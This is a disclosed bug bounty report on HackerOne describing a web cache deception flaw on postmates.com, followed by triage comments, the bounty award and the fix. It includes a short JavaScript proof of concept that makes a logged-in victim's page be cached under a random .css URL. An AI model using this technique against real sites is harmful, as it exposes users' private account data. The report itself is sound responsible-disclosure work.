13

Web cache poisoning attack leads to user information and more

Share:

State	Resolved (Closed)
Disclosed	**February 26, 2019 6:07pm +0530**
Reported To	Postmates
Asset	postmates.com (Domain)
Weakness	Violation of Secure Design Principles
Bounty	$500
Severity	High (8.2)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

davidalbert submitted a report to **Postmates**. Feb 8th (18 days ago)

Hello,
Your Web-Server is vulnerable to web cache poisoning attacks.
This means, that the attacker are able to get another user informations.

If you are logged in and visit this website (For example):
https://postmates.com/SomeRandomText.css

Then the server will store the information in the cache, BUT with the logged in user information :)
A non-logged-in user can then visit this website and see the information contained therein.
In that case, this url: https://postmates.com/SomeRandomText.css

I have written a small javascript / html code, which executes this attack fully automated, you just need to visit the website and wait like 3 seconds.

Here is the small PoC code

```
<html>
<head>
</head>
<body>
<script>
    var cachedUrl = 'https://postmates.com/' + generateId() + '.css';
    const popup = window.open(cachedUrl);

    function generateId() {
        var content = '';
        const alphaWithNumber = 'QWERTZUIOPASDFGHJUKLYXCVBNM1234567890';

        for (var i = 0; i < 10; i++) {
            content += alphaWithNumber.charAt(Math.floor(Math.random() * alphaWithNumber.length))
        }
        return content;
    }

    var checker = setInterval(function() {
        if (popup.closed) {
            clearInterval(checker);
```

```
        }
    }, 200);
    var closer = setInterval(function() {
        popup.close();
        document.body.innerHTML = 'Victims content is now cached <a href="' + cachedUrl + '">here and the url can be
        clearInterval(closer);
    }, 3000);

</script>
</body>
</html>
```

Theoretically, the attacker could then store this information on his server, but in this example, the URL is simply shown.
I would suggest keeping an eye on caching for more security and hope you enjoyed my report.

Some informations about the attack:
https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf

The screenshots with the steps are in the attachments

Not important for this report, but i want to look deeper in your website: Can you create an account for me? Im from Germany and dont have american phone number :)

Impact

Web cache poisoning attack can be used to steal user informations like lastname and member id which is important for the login security feature. (For example)

7 attachments:
F420274: 1_Logged_in_(Normal).png
F420275: 2_Logged_in_(Normal).png
F420276: 3_Not_Logged_in_(Private_Mode).png
F420277: 4_Not_Logged_in_(Private_Mode).png
F420278: 5_Logged_in_Victim_visits_attackers_website_(Normal).png
F420279: 6_Everyone_can_see_the_logged_in_content_on_this_website_(Private_Mode).png
F420281: 7_Attacker_can_get_important_informations_(Private_Mode).png

davidalbert posted a comment. Feb 8th (18 days ago)
For the PoC project, it is important to allow the popup.
Here it is, i forgot it :)

1 attachment:
F420283: postmatesPoC.html

davidalbert posted a comment. Updated Feb 8th (18 days ago)
It must be an url, which has been never visited, then it works and the server will store this.
The end of the url must be: ".css"

still HackerOne staff posted a comment. Feb 8th (18 days ago)
Thank you for reporting this potential issue,

Your report is currently being examined by the HackerOne triage team. You will receive further details, or questions, as soon as technically possible. Thanks for your patience.

Cheers,
@still

davidalbert posted a comment. Feb 8th (18 days ago)

Thank you for the fast answer :)) @still
I'm available anytime

still HackerOne staff updated the severity from High to High (8.2). Feb 8th (18 days ago)

still HackerOne staff added weakness "Violation of Secure Design Principles" and removed weakness "Insecure Storage of Sensitive Information". Feb 8th (18 days ago)

still HackerOne staff changed the status to ○ **Triaged**. Feb 8th (18 days ago)
Thank you for your submission @davidalbert,

This appears to be a valid finding. The information you have provided here will be forwarded onto the team. You will receive updates when, and if, there will be any to share. Please note that the status and severity are subject to change.

Cheers,
@still

davidalbert posted a comment. Feb 8th (18 days ago)
Thank you again for the fast process.
I think, the problem is in Cloudflare.
Hope, that it helps

davidalbert posted a comment. Feb 8th (18 days ago)
Oh! I found out, that you can open the navigation and goto order or favorites!
Its looks like, i have access to the account, if i click on the cached link.

I cant test the full service, because i dont have american phone number

Screenshots are in the attachment

2 attachments:
F420411: Screen_Shot_2019-02-08_at_15.32.05.png
F420410: Screen_Shot_2019-02-08_at_15.31.55.png

davidalbert posted a comment. Feb 8th (18 days ago)
If i go to the "order" link in logged out state, then this happens.

1 attachment:
F420414: Screen_Shot_2019-02-08_at_15.35.23.png

davidalbert posted a comment. Feb 8th (18 days ago)
Only Account Settings doesnt work, if the attacker is on the cached website

dross posted a comment. Feb 8th (18 days ago)
Hi David, I agree this is valid and there appears to be a problem with our caching behavior.
On this bit: "you can open the navigation and goto order or favorites"
Can you describe more specifically how you're getting to the orders page without getting an auth prompt?

anatoli-pm posted a comment. Feb 8th (18 days ago)
Hi David, as far as I can tell you can click on the "Order History" and "Favorites" but it will always take you to a blank page, because you don't actually have authorization to get that content from the server. The JS is confused about whether you're logged in or not, so it will let you proceed to that page but without any of the actual content. I wouldn't consider that part to be broken.

The original report is valid though and we're looking into (seems to be CF related).

dross posted a comment. Feb 8th (18 days ago)
Got it, thank you! Agree this is High. We'll award soon, we're just waiting for our bounty reward account to be topped up, which should happen soon.

davidalbert posted a comment. Feb 9th (18 days ago)
Im so happy, i don't know what i should write now.
Thank you very much

davidalbert posted a comment. Feb 11th (15 days ago)
When does that happen? And how big is the amount? :o

dross posted a comment. Feb 12th (15 days ago)
We've signed off on the invoice, we're just waiting on the payment to H1 to go through. We thought it would happen today, but so far we're still waiting. Sorry for the delay, we'll process this one as soon as it goes through. High == $500.

Postmates rewarded davidalbert with a **$500** bounty. Feb 13th (14 days ago)

dross closed the report and changed the status to ○ **Resolved**. Feb 13th (14 days ago)

davidalbert posted a comment. Feb 13th (14 days ago)
Thank you!!! :D <33

davidalbert posted a comment. Feb 13th (14 days ago)
Its fixed, i can confirm it

dross posted a comment. Feb 13th (14 days ago)
Thanks again David, this was a great find!

davidalbert requested to disclose this report. Feb 13th (14 days ago)

davidalbert posted a comment. Feb 13th (14 days ago)
can we disclose it?

dross posted a comment. Feb 13th (14 days ago)
I think so, but I want to circle back around with some other folks here before I flip the switch. I can hopefully do it soon, stay tuned.

davidalbert posted a comment. Feb 13th (14 days ago)
yo :D

davidalbert cancelled the request to disclose this report. Feb 15th (11 days ago)
Or let's keep it secret 8)

dross requested to disclose this report. Feb 26th (20 hrs ago)
Ok, we're flipping the bit to disclose. This was an issue where our configuration particular to 404s was at best ambiguous w.r.t. caching, and CloudFlare interpreted these resources as cache-able.

davidalbert agreed to disclose this report. Feb 26th (5 hrs ago)
ok nice

This report has been disclosed. Feb 26th (5 hrs ago)